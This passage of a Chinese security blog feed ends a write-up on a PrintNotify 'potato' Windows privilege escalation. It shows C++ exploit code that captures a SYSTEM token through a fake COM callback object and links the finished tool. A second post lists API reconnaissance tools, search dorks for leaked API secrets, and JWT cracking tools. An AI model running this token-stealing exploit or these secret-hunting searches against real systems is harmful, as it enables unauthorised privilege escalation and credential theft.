IUnknown</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  LONG m_lRefCount;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  void TryImpersonate()</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    if (*m_ptoken == nullptr)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      HRESULT hr = CoImpersonateClient();</span></code><code><span class="code-snippet_outer">      if (SUCCEEDED(hr))</span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        HANDLE hToken;</span></code><code><span class="code-snippet_outer">        if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &amp;hToken))</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">          PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);</span></code><code><span class="code-snippet_outer">          DWORD ret_len = 0;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">          if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &amp;ret_len))</span></code><code><span class="code-snippet_outer">          {</span></code><code><span class="code-snippet_outer">            LPWSTR sid_name;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            ConvertSidToStringSid(user-&gt;User.Sid, &amp;sid_name);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            if ((wcscmp(sid_name, L&#34;S-1-5-18&#34;) == 0) &amp;&amp; (*m_ptoken == nullptr))</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">              *m_ptoken = hToken;</span></code><code><span class="code-snippet_outer">              RevertToSelf();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            else</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">              CloseHandle(hToken);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            printf(&#34;Got Token: %p %ls\n&#34;, hToken, sid_name);</span></code><code><span class="code-snippet_outer">            LocalFree(sid_name);</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">          else</span></code><code><span class="code-snippet_outer">          {</span></code><code><span class="code-snippet_outer">            printf(&#34;Error getting token user %d\n&#34;, GetLastError());</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">          free(user);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        else</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">          printf(&#34;Error opening token %d\n&#34;, GetLastError());</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">public:</span></code><code><span class="code-snippet_outer">  HANDLE* m_ptoken;</span></code><code><span class="code-snippet_outer">  //Constructor, Destructor</span></code><code><span class="code-snippet_outer">  FakeObject(HANDLE* ptoken) {</span></code><code><span class="code-snippet_outer">    m_lRefCount = 1;</span></code><code><span class="code-snippet_outer">    m_ptoken = ptoken;</span></code><code><span class="code-snippet_outer">    *m_ptoken = nullptr;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ~FakeObject() {};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  //IUnknown</span></code><code><span class="code-snippet_outer">  HRESULT __stdcall QueryInterface(REFIID riid, LPVOID* ppvObj)</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    TryImpersonate();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    if (riid == __uuidof(IUnknown))</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      *ppvObj = this;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    else if (riid == IID_FakeInterface)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      printf(&#34;Check for FakeInterface\n&#34;);</span></code><code><span class="code-snippet_outer">      *ppvObj = this;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    else</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      *ppvObj = NULL;</span></code><code><span class="code-snippet_outer">      return E_NOINTERFACE;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    AddRef();</span></code><code><span class="code-snippet_outer">    return NOERROR;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ULONG __stdcall AddRef()</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    TryImpersonate();</span></code><code><span class="code-snippet_outer">    return InterlockedIncrement(&amp;m_lRefCount);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  ULONG __stdcall Release()</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    TryImpersonate();</span></code><code><span class="code-snippet_outer">    // not thread safe</span></code><code><span class="code-snippet_outer">    ULONG  ulCount = InterlockedDecrement(&amp;m_lRefCount);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    if (0 == ulCount)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      delete this;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    return ulCount;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">int main()</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  // 初始化COM运行时</span></code><code><span class="code-snippet_outer">  CoInitialize(NULL);</span></code><code><span class="code-snippet_outer">  //初始化COM运行时上下文</span></code><code><span class="code-snippet_outer">  HRESULT hr;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  IMonikerPtr pFakeObj;</span></code><code><span class="code-snippet_outer">  HANDLE ptoken = NULL;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  FakeObject* fakeObject = new FakeObject(&amp;ptoken);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  //CreatePointerMoniker(fakeObject, &amp;pFakeObj);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  IUnknown* pPrintNotify = NULL;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  hr = CoCreateInstance(PrintNotifyGUID, NULL,</span></code><code><span class="code-snippet_outer">    CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&amp;pPrintNotify));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  if (SUCCEEDED(hr))</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    IConnectionPointContainer* pIPrinterExtensionServerEventCallbackInternal;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    hr = pPrintNotify-&gt;QueryInterface&lt;IConnectionPointContainer&gt;(&amp;pIPrinterExtensionServerEventCallbackInternal);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    IEnumConnectionPoints* pIEnumConnectionPoints;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    hr = pIPrinterExtensionServerEventCallbackInternal-&gt;EnumConnectionPoints(&amp;pIEnumConnectionPoints);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    LPCONNECTIONPOINT pCONNECTIONPOINT;</span></code><code><span class="code-snippet_outer">    ULONG fetched;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    hr = pIEnumConnectionPoints-&gt;Next(1, &amp;pCONNECTIONPOINT, &amp;fetched);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    DWORD cookie;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    hr = pCONNECTIONPOINT-&gt;Advise(fakeObject, &amp;cookie);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    printf(&#34;Got Token At :%p\n&#34;, fakeObject-&gt;m_ptoken);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  else</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    printf(&#34;CoCreateInstance fail hr: %d\n&#34;,hr);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  std::cout &lt;&lt; &#34;Hello World!\n&#34;;</span></code><code><span class="code-snippet_outer">  return 0;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><pre><span style="font-size: 14px;"><br/></span></pre><p><span style="font-size: 14px;">回到我们的IIS服务器，我发现创建PrintNotify失败了？</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5222222222222223" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=45d4a99c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ic2dxDAiawicNGAIJPBQuot3lrRUgXyhZXrlkaJOIzlpMzHUQ0LQ1vfJ8XTAZPhAS3H5AFmibJibvoRlA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">它只允许以下用户组该怎么办？</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5518518518518518" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ba5b4d3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ic2dxDAiawicNGAIJPBQuot3lSC0v4piaDFtnDTSmvibfCu8U23xzBCd0iciaiaWNFqdnHHhqyxdiaO8ViccCw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 14px;">通过查找我发现一个工具可以获取INTERACTIVE用户组，</span><span style="font-size: 14px;"><a href="https://github.com/antonioCoco/RunasCs" target="_blank">https://github.com/antonioCoco/RunasCs</a></span></p><p><span style="font-size: 14px;">在调用LogonUser方法时，lsasrv不会校验用户所有的权限和用户组，直接为当前Token添加INTERACTIVE组，然后剩下的工作照常运行，PrintNotifyPotato可以在Windows 2012-2022运行</span></p><p><span style="font-size: 14px;"><a href="https://github.com/BeichenDream/PrintNotifyPotato" target="_blank">https://github.com/BeichenDream/PrintNotifyPotato</a></span></p><p><img class="rich_pages wxw-img" data-ratio="0.5101851851851852" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0db719d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ic2dxDAiawicNGAIJPBQuot3lmuNx0z0VD68BMicGq8Kt1A9mQXGFCEyB1jIeWoH0BlARlFP0I1S6qiaA%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="text-align: center;"><br/></h1><h1 style="text-align: center;"><strong><span style="font-size: 20px;">引用</span></strong></h1><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="font-size: 14px;"><a href="http://code.google.com/p/google-security-research/issues/detail?id=128" target="_blank">http://code.google.com/p/google-security-research/issues/detail?id=128</a></span></p><section style="line-height: normal;"><span style="font-size: 14px;">zcgonvh</span></section><section style="line-height: normal;"><span style="font-size: 14px;"><a href="https://github.com/antonioCoco/JuicyPotatoNG" target="_blank">https://github.com/antonioCoco/JuicyPotatoNG</a></span></section><section style="line-height: normal;"><span style="font-size: 14px;"><a href="https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/" target="_blank">https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/</a></span></section><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486680">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5ac89ce7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486680%26idx%3D1%26sn%3D3846d110bbe050e1141327a95d50d943%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 08 Dec 2022 12:14:00 +0800</pubDate>
    </item>
    <item>
      <title>API Security 思维导图</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486664&amp;idx=1&amp;sn=471ba61ff2c8d46c6a20afbf789269f0</link>
      <description>搬运一下外网的一个关于API Security 的思维导图</description>
      <content:encoded><![CDATA[<p>
原创 <span>Skay</span> <span>2022-11-03 16:01</span> <span style="display: inline-block;">北京</span>
</p>

<p>搬运一下外网的一个关于API Security 的思维导图</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=59234d57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ib18y69ib0YFGCQkiclicvrCPy6dSjVBwMic54RILUnqXMiaJ7a0B39QbOKrtOdaD4SQJKkPzvWVN8sSpg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: normal;"><br/></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">最近API安全概念停火的，正好前一阵在Twitter上看到一个API安全的思维导图，感觉很全面，在这里稍微总结下。</span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="12" data-source-title="https://dsopas.github.io/MindAPI/play/"><section class="js_blockquote_digest"><section>API Security</section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A12%2C%22text%22%3A%22API%C2%A0Security%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fdsopas.github.io%2FMindAPI%2Fplay%2F%22%7D"><span class="blockquote_other"><a href="https://dsopas.github.io/MindAPI/play/" target="_blank">https://dsopas.github.io/MindAPI/play/</a></span></section></blockquote><p><br/></p><p style="line-height: normal;text-align: center;"><strong><span style="letter-spacing: normal;font-size: 20px;">一、框架识别</span></strong></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 17px;">1.API框架种类</span></strong></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 15px;">(1) REST APIs</span></strong></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">RESTful 、OData</span></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 15px;">(2) GraphQL</span></strong></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">这里有一个关于GraphQL的测试项目</span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/nicholasaleks/graphql-threat-matrix" target="_blank">https://github.com/nicholasaleks/graphql-threat-matrix</a></span></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 15px;">(3) SOAP</span></strong></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">SOAP 很熟悉了，也就是WebService，开源的Service框架有Apache CXF、以及Apache AXIS1 2等</span></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 15px;">(4) XML-RPC</span></strong></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">以更简单的 XML 格式传输数据,这里很容易联想到Apache OFbiz XML-RPC 反序列化漏洞</span></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 15px;">(5) JSON-RPC</span></strong></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">以JSON格式化方式传输数据</span></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 15px;">(6) gRPC-Protobuf</span></strong></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">可以从header头、Content-Type、以及Access-control-expose-headers 响应头</span></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 17px;">2.API框架简介相关文档</span></strong></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://smartbear.com/blog/soap-vs-rest-whats-the-difference/" target="_blank">https://smartbear.com/blog/soap-vs-rest-whats-the-difference/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://www.odata.org/documentation/" target="_blank">https://www.odata.org/documentation/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://www.howtographql.com/basics/1-graphql-is-the-better-rest/" target="_blank">https://www.howtographql.com/basics/1-graphql-is-the-better-rest/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://www.smashingmagazine.com/2016/09/understanding-rest-and-rpc-for-http-apis/" target="_blank">https://www.smashingmagazine.com/2016/09/understanding-rest-and-rpc-for-http-apis/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://www.soapui.org/docs/rest-testing/working-with-rest-services/" target="_blank">https://www.soapui.org/docs/rest-testing/working-with-rest-services/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://cloud.google.com/blog/products/api-management/understanding-grpc-openapi-and-rest-and-when-to-use-them" target="_blank">https://cloud.google.com/blog/products/api-management/understanding-grpc-openapi-and-rest-and-when-to-use-them</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://openapi.tools/" target="_blank">https://openapi.tools/</a></span></p><p style="line-height: normal;text-align: center;"><strong><span style="letter-spacing: normal;font-size: 20px;">二、一些框架自带URL特征</span></strong></p><p style="line-height: normal;"><shape type="#_x0000_t75" filled="f"><imagedata title="image1"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="0.3522727272727273" style="width:528.010009765625px;height:185.52999877929688px;" data-type="png" data-w="528" src="https://wechat2rss.xlab.app/img-proxy/?k=d688d013&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ib18y69ib0YFGCQkiclicvrCPyj56JeKQrWFibNV1wwOFrn7HGvicQDJANfD2qJ7B2YvdV04G8n99rwU2w%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: normal;text-align: center;"><br/></p><p style="line-height: normal;text-align: center;"><span style="font-size: 20px;"><strong><span style="font-size: 20px;letter-spacing: normal;">三、如何黑盒进行API信息收集</span></strong></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">这里主要列出了一些API接口测试的工具和网站及技巧</span></p><p style="line-height: normal;text-align: left;"><strong><span style="font-size: 14px;letter-spacing: normal;">工具</span></strong><span style="font-size: 14px;letter-spacing: normal;">：Burp、mitmproxy、Wireshark、APKLeaks、APKEnum、Api-Guesser、Keyhacks</span></p><p style="line-height: normal;text-align: left;"><strong><span style="font-size: 14px;letter-spacing: normal;">Google搜索技巧</span></strong><span style="font-size: 14px;letter-spacing: normal;">：site:target.tld inurl:api 、intitle:&#34;index of&#34; &#34;api.yaml&#34; site:target.tld、</span></p><p style="line-height: normal;text-align: left;"><strong><span style="font-size: 14px;letter-spacing: normal;">WADL WSDL</span></strong><span style="font-size: 14px;letter-spacing: normal;">：inurl:/application.wadl、user filetype:wadl、ext:wadl、user filetype:wsd、ext:wsdl、</span></p><p style="line-height: normal;text-align: left;"><strong><span style="font-size: 14px;letter-spacing: normal;">OData</span></strong><span style="font-size: 14px;letter-spacing: normal;">：Inurl:/%24metadata</span></p><p style="line-height: normal;text-align: left;"><strong><span style="font-size: 14px;letter-spacing: normal;">Github</span></strong><span style="font-size: 14px;letter-spacing: normal;">：</span><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/search?q=target.tld+%252Bapi" target="_blank">https://github.com/search?q=target.tld+%252Bapi</a></span></p><p style="line-height: normal;text-align: left;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/search?q=target.tld+application.wadl&amp;type=code" target="_blank">https://github.com/search?q=target.tld+application.wadl&amp;type=code</a></span></p><p style="line-height: normal;text-align: left;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/search?q=target.tld+" target="_blank">https://github.com/search?q=target.tld+</a></span><span style="font-size: 14px;letter-spacing: normal;">*.wsdl&amp;type=code</span></p><p style="line-height: normal;text-align: left;"><strong><span style="font-size: 14px;letter-spacing: normal;">其他</span></strong><span style="font-size: 14px;letter-spacing: normal;">：intitle:&#34;index of&#34; intext:&#34;apikey.txt&#34; site:target.tld、allintext:&#34;API_SECRET*&#34; ext:env | ext:yml site:target.tld</span></p><p style="line-height: normal;text-align: left;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/dxa4481/truffleHog" target="_blank">https://github.com/dxa4481/truffleHog</a></span></p><p style="line-height: normal;text-align: left;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/eth0izzle/shhgit" target="_blank">https://github.com/eth0izzle/shhgit</a></span></p><p style="line-height: normal;"><strong><span style="font-size: 14px;letter-spacing: normal;">一些API聚合以及搜索网站：</span></strong><span style="font-size: 14px;letter-spacing: normal;"></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://apilist.fun/" target="_blank">https://apilist.fun/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://apiharmony-open.mybluemix.net/public" target="_blank">https://apiharmony-open.mybluemix.net/public</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://www.programmableweb.com/" target="_blank">https://www.programmableweb.com/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://rapidapi.com/hub" target="_blank">https://rapidapi.com/hub</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="http://apis.io/" target="_blank">http://apis.io/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://app.swaggerhub.com/search" target="_blank">https://app.swaggerhub.com/search</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://apis.guru/" target="_blank">https://apis.guru/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://www.postman.com/explore/apis" target="_blank">https://www.postman.com/explore/apis</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://any-api.com/" target="_blank">https://any-api.com/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://smart-api.info/registry" target="_blank">https://smart-api.info/registry</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://www.apistack.io/" target="_blank">https://www.apistack.io/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://public-apis.xyz/" target="_blank">https://public-apis.xyz/</a></span></p><p style="line-height: normal;"><strong><span style="font-size: 14px;letter-spacing: normal;">API字典及枚举工具</span></strong><span style="font-size: 14px;letter-spacing: normal;">：</span></p><p style="line-height: normal;"><img class="rich_pages wxw-img" data-ratio="0.7481060606060606" style="width:528.010009765625px;height:394.5799865722656px;" data-type="png" data-w="528" src="https://wechat2rss.xlab.app/img-proxy/?k=9c8a15f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ib18y69ib0YFGCQkiclicvrCPyDw27QIVrVw7ZC0zQckKTiadncX7ric5W7zVfk38zUNwLicniaR0MsRANlg%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: normal;text-align: center;"><br/></p><p style="line-height: normal;text-align: center;"><strong><span style="letter-spacing: normal;font-size: 20px;">四、API接口测试</span></strong></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 17px;">1.一些工具</span></strong></p><p style="line-height: normal;"><strong><span style="font-size: 14px;letter-spacing: normal;">REST APIs</span></strong><span style="font-size: 14px;letter-spacing: normal;">：</span><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/flipkart-incubator/Astra" target="_blank">https://github.com/flipkart-incubator/Astra</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/bncrypted/apidor" target="_blank">https://github.com/bncrypted/apidor</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/SecurityInnovation/AuthMatrix" target="_blank">https://github.com/SecurityInnovation/AuthMatrix</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/PortSwigger/autorize" target="_blank">https://github.com/PortSwigger/autorize</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/portswigger/auth-analyzer" target="_blank">https://github.com/portswigger/auth-analyzer</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/ant4g0nist/Susanoo" target="_blank">https://github.com/ant4g0nist/Susanoo</a></span></p><p style="line-height: normal;"><strong><span style="font-size: 14px;letter-spacing: normal;">GraphQL</span></strong><span style="font-size: 14px;letter-spacing: normal;">：</span><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/doyensec/inql" target="_blank">https://github.com/doyensec/inql</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://gitlab.com/dee-see/graphql-path-enum" target="_blank">https://gitlab.com/dee-see/graphql-path-enum</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://graphql-dashboard.herokuapp.com/" target="_blank">https://graphql-dashboard.herokuapp.com/</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">gRPC：</span><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/trailofbits/protofuzz" target="_blank">https://github.com/trailofbits/protofuzz</a></span></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 17px;">2.突破身份验证</span></strong></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 16px;">(1).身份校验类型</span></strong></p><p style="line-height: normal;"><strong><span style="font-size: 14px;letter-spacing: normal;">JWT相关测试工具</span></strong><span style="font-size: 14px;letter-spacing: normal;">：</span><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/ticarpi/jwt_tool" target="_blank">https://github.com/ticarpi/jwt_tool</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/lmammino/jwt-cracker" target="_blank">https://github.com/lmammino/jwt-cracker</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/aress31/jwtcat" target="_blank">https://github.com/aress31/jwtcat</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;"><a href="https://github.com/wallarm/jwt-heartbreaker" target="_blank">https://github.com/wallarm/jwt-heartbreaker</a></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">此外JWT Checklist：</span><span style="font-size: 14px;letter-spacing: normal;"><a href="https://cloud.tencent.com/developer/article/1552824" target="_blank">https://cloud.tencent.com/developer/article/1552824</a></span></p><p style="line-height: normal;"><strong><span style="font-size: 14px;letter-spacing: normal;">Oauth</span></strong><span style="font-size: 14px;letter-spacing: normal;"></span></p><p style="line-height: normal;"><span style="font-size: 14px;letter-spacing: normal;">重定向测试：?redirect_uri、XSS、CSRF</span></p><p style="line-height: normal;"><strong><span style="font-size: 14px;letter-spacing: normal;">Basic 认证</span></strong><span style="font-size: 14px;letter-spacing: normal;"></span></p><p style="line-height: normal;"><strong><span style="letter-spacing: normal;font-size: 17px;">3.其他测试项</span></strong></p><p style="line-height: normal;"><img class="rich_pages wxw-img" data-ratio="0.26515151515151514" style="width:528.010009765625px;height:139.63999938964844px;" data-type="png" data-w="528" src="https://wechat2rss.xlab.app/img-proxy/?k=d44f6042&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ib18y69ib0YFGCQkiclicvrCPyg0qk8vVLZbstGiaZRCaEufuic8cvpGeadugehePNQn8aYYV2kmwmBNPw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: normal;"><img class="rich_pages wxw-img" data-ratio="0.7575757575757576" style="width:528.010009765625px;height:399.69000244140625px;" data-type="png" data-w="528" 